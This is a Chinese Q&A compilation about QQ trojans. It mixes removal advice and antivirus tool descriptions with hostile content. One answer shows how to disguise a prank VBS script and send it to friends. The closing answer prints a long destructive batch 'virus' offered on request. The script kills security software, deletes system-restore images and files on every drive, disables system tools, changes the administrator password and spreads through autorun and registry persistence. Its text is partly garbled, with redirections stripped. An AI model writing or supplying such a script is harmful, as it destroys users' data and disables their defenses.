本文目录一览
QQ中木马病毒如何解决
装一个QQ医生嘛，去im.qq.com
软件名称：QQ病毒专杀工具
软件语言：简体中文
软件大小：544KB
软件类别：流行病毒专杀工具
应用平台：Win9x/NT/2000/XP/2003
更新时间：2007．02．04
软件介绍：
腾讯QQ自动发消息病毒专杀工具XP最新版,可查杀一切基于sendmess.exe恶意消息发送程序的病毒.修复被病毒修改的注册表,使你远离被动发送消息的苦恼!新增IE恢复、反木马监听功能，让你更安心！
本工具可查杀以下QQ病毒： Trojan.QQMsender.Linmm、Trojan.PSW.Cqzjz、Trojan.dra.a、.Trojan.Qqthief1.7 Trojan.QQ3344、Trojan.Ok530、Trojan.Darksun、Trojan.DonaldDick.135.b Trojan.WebAuto、
Trojan.NewSupper.dll、Trojan.PSW.Cqzjz.b、Trojan.Dosh.d Trojan.Sendmess、Trojan.Downloader、Trojan.CmjSpy.16、Trojan.InterBot Trojan.IframeExec、Hack.Glacier.60、Trojan.Roxr45.Server Trojan.Music888.d、
Trojan.Nicex、Trojan.Killer3.Svr Trojan.Mmqm、Trojan.WHBoy、Trojan.Hornet.MainSer、Trojan.Hornet.IRC.svr Trojan.CS......以及未知QQ恶意消息发送类病毒、QQ木马程序！
QQKAV2006国庆节版新增：
病毒查杀：改进病毒查杀引擎算法，彻底粉碎病毒文件，加强DLL注入型病毒查杀，最新流行QQ木马病毒及其变种（13000余种）的查杀及病毒注册表残留项清理，保护电脑不受U盘及其他移动设备的病毒感染。
进程及模块管理：自动判断系统正常进程/查看进程属性/强制结束进程/结束进程DLL模块/粉碎文件等
系统启动项管理：注册表启动项/文件夹启动项等属性查看及删除。
系统服务管理：自动判断系统正常服务/重启、停止、启动、改变系统服务模式。
系统垃圾清理：上网隐私清理/系统垃圾文件清理等。
流氓软件/插件清理及免疫：IE加载项/IE扩展项/BHO插件/IE右键菜单/已安装的ActiveX/IE高级设置项/系统HOOKS/免疫插件(国内流氓插件90项、国外流氓插件498项、其他插件及病毒插件21项)等。
IE修复：IE系统DLL修复/IE Cookies清除/IE地址栏清理/IE收藏夹管理等。
导出系统诊断报告：导入系统启动项、系统服务、IE加载项/BHO/ActiveX/HOOKS等项目，方便给电脑专家解决系统故障及病毒。
系统救援：EXE、TXT等系统关联修复/注册表解锁/任务管理器解锁等。
安全资讯：最新的系统漏洞补丁、安全公告、病毒查杀方法等资讯播报。
解决了与瑞星注册表监视的冲突等问题，以及包含在线升级、发送可疑文件、QQ安全登陆器、锦山防火墙、自定义锁定IE首页、屏蔽恶意网址、屏蔽QQ尾巴消息、屏蔽好友发送病毒文件等功能。
【杀毒前务必注意】
杀毒前请修改“杀毒后IE首页锁定为”为“默认设置”或“其它”，
否则主页会被强制修改为“www.jsing.net”
http://hi.baidu.com/svw1019/blog/item/f09d54fb1bd18a166c22eb78.html
我中了Trojan.QQPass.hb的病毒，怎样杀啊？帮个忙！谢谢！
分类: 电脑/网络 反病毒
问题描述:
开机就会弹出ewido4.0版的窗口;
找到恶意软件
名称：Trojan.QQPass.hb
位置：C\Program Files\Outlook Express\newqq.dall 当点击清楚后会再次出现，再次点清除后就会退出此窗口，而且鼠标也不能用，用什么才能杀掉啊！
解析:
是个专盗QQ密码的木马病毒！！！
用EWIDO去安全模式下彻底杀死这病毒！
不能彻底杀死这病毒就直接删除这病毒的运行路径（按杀软提供的病毒路径)！然后去注册表里搜索这病毒文件的键值，删除搜索到的！重启，这病毒就清理干净了！！遇到不能删除的文件就用”冰刃”软件来删除！！
谁有简单的电脑病毒代码？？
新建一个文本文档，输入以下内容：msgbox"内容1"+chr(13)+"内容2"+chr(13)+"内容3",1,"标题"
格式和符号必须正确，内容1、内容2、内容3、标题可以随意更改，比如：msgbox"您的电脑被黑客入侵"+chr(13)+"请立刻发三遍我是猪到朋友圈"+chr(13)+"否则您的电脑显卡将起火",1,"黑客入侵警告"
之后保存，重命名，把后缀txt改为vbs，新建一个文件夹，点右键选择属性→自定义→更改图标，把它伪装成一个软件(我的是winXP系统，操作可能不一样)，把刚才的文件放进去
最后发送给你的朋友，让他打开，他在电脑上就会出现一个这样的提示：
×
黑客入侵警告
您的电脑被黑客入侵
请立刻发三遍我是猪的朋友圈
否则您的电脑显卡将起火
确定
如何清除计算机中的“橙色八月病毒”QQ通行证（Trojan.PSW.QQPass）
1.用中文版ewido,自动免费升级.
最新的木马查杀软件ewido-setup_4.0.0.172c中文!自动更新!
地址：
http://post.baidu.com/f?kz=117949629
http://post.baidu.com/f?kz=116662903
2.手动查杀当前QQ流行病毒
聊天工具QQ用户甚多，各种病毒木马以及流氓软件也利用它大肆传播，一旦染上就难以清除，还常常危及他人。近期，QQ病毒又有了抬头之势，不仅危害更大，其花样也是推陈出新，让人放不胜防。下面就为大家介绍几个与QQ相关的病毒木马以及流氓软件的应对办法，中招的朋友可以对症下药，没中招的朋友也可引以为戒。
QQ弹出式广告木马
该木马会伪装成QQ式的弹出广告，随时在屏幕右下角弹出广告窗口。将鼠标放到该窗口中，鼠标会变成手状，点击窗口任意处即可打开浏览器链接到广告网页，而正规的QQ弹出广告窗口中大多为文字或说明，只有点击说明中的链接才能打开网页。所以该弹出广告窗口实为一个网页链接木马，大家要认真区分。
解决办法：该木马会在C:\Windows目录中建立了一个“Backup”文件夹，并且采用自动加载和监视备份文件功能，使你在安全模式下也无法手动清除该木马。解决办法是使用批处理功能，在木马程序重建备份之前抢先删除它。
重新启动机器，按F8键选择安全模式进入系统。新建文本文档，输入：
“Move c:\windows\backup c:\windows\bak(将Backup目录重命名为Bak)
Md c:\windows\backup(在C:\windows下建立Backup目录)”，
接着点击“文件/另存为”选项，将文件名更改为“QQ广告.bat”进行保存。
提示：括号内的说明不用输入，下同。
运行该批处理文件后，立即将“C:\windows”文件夹中的“Bak”文件夹删除，完成了木马备份文件的删除。接着再新建一个文本文档，输入：
“cd c:\(将当前路径改为C:盘的根目录)
cd C:\windows\Downloaded Program Files(更改当前路径)
C:\windowsDownloaded Program Files move _IS_0518 c:\bak(移动相关文件夹)”
然后点击“文件/另存为”选项，保存为“QQ广告2.bat”文件。双击运行后，将C盘的“Bak”文件夹删除，再进入“C:\windows”目录，删除Backup文件夹，即完成了木马文件的清除。
最后在“运行”对话框中输入“Regedit”，打开“注册表编辑器”窗口，分别将“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Advapi32”和“HKEY_CURRENT_USER/Software/advapi32”两个键值删除即可。
多多QQ表情
“多多QQ表情”是一个流氓软件，大多与其它软件进行捆绑安装。一旦安装上“多多QQ表情”后，其包含的“Update”文件会创建“Updata.exe”进程，并对系统作一系列改动，生成大量恶意文件。IE浏览器主页会被篡改，使用自带的卸载程序无法将它卸载干净。
解决办法：要想手动将“多多QQ表情”清除干净，先打开“运行”对话框，输入“%ProgramFiles%\qqhelper\uninstall.exe”，点击“确定”按钮卸载“多多QQ表情”程序。 接着打开“任务管理器/进程”窗口，结束“diskman.exe”进程。然后再打开“运行”对话框，输入“services.msc”，点击“确定”按钮后打开“服务”窗口，找到“Universal Disk Manager”服务，将其设置为禁止。再将“C:\Program Files\Common Files\SAN”文件夹和“C:\Program Files\Common Files\Upd”文件夹删除。
接着打开“注册表编辑器”窗口，在左侧窗格依次点击“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”项，在右侧找到“Update"="%ProgramFiles%\Common Files\Upd\update.exe”键值，将其删除。
然后在桌面用右键单击“我的电脑/属性/硬件/设备管理器/查看/选中“显示隐藏的设备”选项，接着在设备列表中展开“非即插即用驱动程序”选项，找到“Universal Disk Manager”，右键选择“卸载”。
最后再打开“注册表编辑器”窗口，在左侧窗格中依次点击“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services”项，找到“Universal Disk Manager”键值，将其删除，并点击“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root”项，删除 “LEGACY_Universal Disk Manager”即可。
杀灭QQ乐病毒
“QQ乐”病毒（Worm/QQMsg.Lee）会自动搜索QQ用户中的好友，不断向他们发送包含一串网址的消息。好友在点击网址链接登陆网站后，就有可能会感染该病毒。
解决办法：“QQ乐”病毒会创建“System32.exe”进程和一个名为“Lee”的管理员帐户。会在每个分区根目录下创建“Autorun.inf”文件和“System32.exe”、“System32dll.dll”文件。由于“Autorun.inf”是自运行文件（常用于自启动光盘），这样在双击任意分区盘符时就会使系统自动执行该“Autorun.inf”文件的命令，以达到运行“System32.exe”“System32dll.dll”病毒文件的目的。接着用搜索查找“Lee”关键字，会找到一个创建管理员账户的批处理文件“Admin.bat”。最后将每个分区根目录下的“Autorun.inf”、“System32.exe”和“System32dll.dll”文件删除，再将搜索到的“Admin.bat”文件删除即可。
QQ龟病毒的查杀
一旦感染了“QQ龟病毒”（Trojan/QQMsg,Zigui.b），你的电脑便会出现这样的症状：自动给QQ好友发送文件，而且文件名为“……白骨精……”、“一个对你工作有益的东西”等等。该病毒被金山毒霸网站上排列在2005年十大病毒之第四位。
解决办法：打开任务管理器，结束掉RUNDLL32.EXE和TIMP1atform.exe（注意P后面是数字1）进程。
设置让Windows显示隐藏文件，找到以下文件并且将其删除：%System%\?.exe
%System%\notepad?.exe和%Windir%\System\RUNDLL32.EXE；还要删除QQ目录中的TIMP1atform.exe（P后面是数字1，别删错了）。
打开注册表编辑器。删除“HKEY_LOCAL_MACHINE\Software\Classes\Msipv”和“HKEY_CURRENT_USER\Software\Classes\Msipv”下的“MainSetup”、“MainUp”、“MainVer”三个DWORD键值。
最后通过修复EXE和TXT文件关联，重新启动即可。
以上谈到的解决方法都是以手工清除为主，其实目前很多杀毒软件就可以自动识别很多QQ病毒，建议在QQ出现问题时，先升级杀毒软件进行查杀，看问题是否解决，再用手工清除的办法，避免由于手工操作不当带来的问题。
参考资料：http://www.luckfish.net.cn/study/20060914.htm
木马大全，我想要有关木马病毒的各个名称？
1、系统病毒
系统病毒的前缀为：Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 *.exe 和 *.dll 文件，并通过这些文件进行传播。如CIH病毒。
2、蠕虫病毒
蠕虫病毒的前缀是：Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播，很大部分的蠕虫病毒都有向外发送带毒邮件，阻塞网络的特性。比如冲击波（阻塞网络），小邮差（发带毒邮件） 等。
3、木马病毒、黑客病毒
木马病毒其前缀是：Trojan，黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏，然后向外界泄露用户的信息，而黑客病毒则有一个可视的界面，能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的，即木马病毒负责侵入用户的电脑，而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 Trojan.qq3344 ，还有大家可能遇见比较多的针对网络游戏的木马病毒如 Trojan.LMir.PSW.60 。这里补充一点，病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有盗取密码的功能（这些字母一般都为“密码”的英文“password”的缩写）一些黑客程序如：网络枭雄（Hack.Nether.Client）等。
4、脚本病毒
脚本病毒的前缀是：Script。脚本病毒的公有特性是使用脚本语言编写，通过网页进行的传播的病毒，如红色代码（Script.Redlof）。脚本病毒还会有如下前缀：VBS、JS（表明是何种脚本编写的），如欢乐时光（VBS.Happytime）、十四日（Js.Fortnight.c.s）等。
建议你使用腾讯电脑管家来进行病毒查杀
因为腾讯电脑管家是4+1杀毒引擎，管家反病毒引擎、金山云查杀引擎、小红伞本地查杀引擎和管家云引擎，新版本在此基础上启用了管家系统修复引擎，重点加强了“云安全”平台的建设和自研引擎的研发能力，也属国内首例采用“4+1”核“芯”杀毒引擎架构的。 所以杀毒能力是很强悍的，可以信赖！
关于QQ木马病毒！高手请进
首先，要告诉你的是：我们QQ大部分接收的格式为JPEG、GIF。
JPEG、GIF等格式不具备可以执行自身并散播病毒的条件，这不符合逻辑。
你上述的‘QQ好友盗’我已经在网上了解过。
它会生成一个叫“我的靓照.jpg.scr”的木马。可能你会觉得奇怪那个怎么会是木马，文件名为“我的靓照.jpg”，扩展名为“.scr”。scr、exe为衍生类型，在实质上与EXE文件相同。这表明“.scr”具有了可以执行自身并散播病毒的条件了。所以那个“看似的木马”能盗号就不奇怪了。
因为SCR它是Windows专用的屏幕保护程序的扩展名，一般QQ发送是发不了的，用QQ传播一定要用“传文件”、在网站上挂马的方法专播，所以只要不要乱点网页和接受文件一般不会有事。
以下采用“我叫子凡 ”的一个答案：
1.你说的这种方法是QQ密码防盗的一种好方法，在网吧啊什么的地方用这种方法能有效防盗。因为一般QQ木马盗号都是通过对Explorer.exe这个进程插入刻录键盘操作的dll文件来达到偷盗目的的。所以用你说的这个方法确实能防盗。
2.现在有种木马能监视被盗者的屏蔽的（我在相关的书上看到过介绍），但不知QQ木马中是否有这种木马存在。
如果有这种木马存在的话，那么你再怎样操作，你的密码可能都是无法保证的。但我想网络安全专家即说上面的方法是“比较安全”的，那么应该是这种木马还没有得到普及吧。
谁能给一断bat病毒代码？
@echo off title You DEAD!!!!!!! set taskkill=s copy %0 %windir%\system32\cmd.bat attrib %windir%\system32\cmd.bat +r +s +h net stop sharedaccess nul %s% /im pfw.exe shadowtip.exe shadowservice.exe qq.exe explorer.exe IEXOLORE.EXE /f nul %s% /im norton* /f nul %s% /im av* /f nul %s% /im fire* /f nul %s% /im anti* /f nul %s% /im spy* /f nul %s% /im bullguard /f nul %s% /im PersFw /f nul %s% /im KAV* /f nul %s% /im ZONEALARM /f nul %s% /im SAFEWEB /f nul %s% /im OUTPOST /f nul %s% /im nv* /f nul %s% /im nav* /f nul %s% /im F-* /f nul %s% /im ESAFE /f nul %s% /im cle /f nul %s% /im BLACKICE /f nul %s% /im def* /f nul %s% /im 360safe.exe /f nul net stop Shadow" "System" "Service set alldrive=d e f g h i j k l m n o p q r s t u v w x y z for %%a in (c %alldrive%) do del %%a:\360* /f /s /q nul for %%a in (c %alldrive%) do del %%a:\修复* /f /s /q nul rem 修改注册表....... REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer \Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRun /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoRecentDocsMenu /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoDrives /t REG_DWORD /d 4294967295 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v Disableregistrytools /t REG_DWORD /d 00000002 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoNetHood /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /V NoDesktop /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoClose /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoFind /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoLogOff /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v NoSetTaskBar /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" "NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows" "NT\SystemRestore /v DisableConfig /t REG_DWORD /d 00000001 /f nul REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer /v RestrictRun /t REG_DWORD /d 00000001 /f nul cls net user administrator 123456 nul for %%c in (c %alldrive%) do del %%c:\*.gho /f /s /q nul echo @echo off d:\setup.bat echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新 安装系统可以解决此问题 !^.^ d:\setup.bat echo copy d:\setup.bat c:\Documents" "and" "Settings\All" "Users\「开始」菜单\程序\启动 \a.bat d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat HKEY_CLASSES_ROOT\batfile\shell\open\command /v setup.bat /t REG_SZ /d d:\setup.bat /f d:\setup.bat echo [windows] %windir%\win.ini echo run=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo load=d:\setup.bat C:\AUTOEXEC.BAT %windir%\win.ini echo [boot] %windir%\system.ini echo shell=explorer.exe setup.bat C:\AUTOEXEC.BAT %windir%\system.ini echo [AutoRun] d:\autorun.inf echo Open=setup.bat d:\autorun.inf echo Open=system.bat d:\autorun.inf attrib d:\autorun.inf +r +s +h d:\setup.bat attrib d:\setup.bat +r +s +h d:\setup.bat start d:\setup.bat /min nul echo @echo off C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f C:\AUTOEXEC.BAT echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce /v setup.bat /t REG_SZ /d d:\setup.bat /f C:\AUTOEXEC.BAT echo if not d:\setup.bat start %windir%\system32\cmd.bat /min C:\AUTOEXEC.BAT copy %0 %systemroot%\windows.bat nul if not exist %windir%/system32/explorer.bat @echo off %windir%/system32 /explorer.bat if not exist C:\AUTOEXEC.BAT start %windir%\system32\cmd.bat /min % windir%/system32/explorer.bat if not exist %windir%\system32\cmd.bat start %systemroot%\windows.bat /min % windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v AUTOEXEC.BAT /t REG_SZ /d C:\AUTOEXEC.BAT /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v setup.bat /t REG_SZ /d d:\setup.bat /f %windir%/system32/explorer.bat echo REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat/f %windir%/system32/explorer.bat echo REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.bat /t REG_SZ /d % windir%/system32/explorer.bat /f %windir%/system32/explorer.bat echo start %systemroot%\windows.bat /min %windir%/system32/explorer.bat attrib %windir%/system32/explorer.bat +r +s +h% attrib %systemroot%/windows.bat +r +s +h for %%c in (%alldrive%) do echo @echo off %%c:\system.bat for %%c in (%alldrive%) do echo start %windir%\system32\cmd.bat /min %%c:\system.bat for %%c in (%alldrive%) do echo attrib system.bat +r +s +h %%c:\system.bat set drive=e f g h i j k l m n o p q r s t u v w x y z for %%c in (%drive%) do echo [AuroRun] %%c:\autorun.inf for %%c in (%drive%) do echo Open=system.bat %%c:\autorun.inf copy %0 d:\Program" "Files\run.bat for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min %%c:\system.bat for %%c in (%alldrive%) do attrib autorun.inf +r +s +h %%c:\system.bat for %%c in (%alldrive%) do attrib %%c:\autorun.inf +r +s +h nul for %%c in (%alldrive%) do attrib %%c:\system.bat +r +s +h nul if not exist %windir%/system32/explorer.bat start d:\Program" "Files\run.bat /min d:\setup.bat attrib d:\Program" "Files\run.bat +r +s +h nul del %0 exit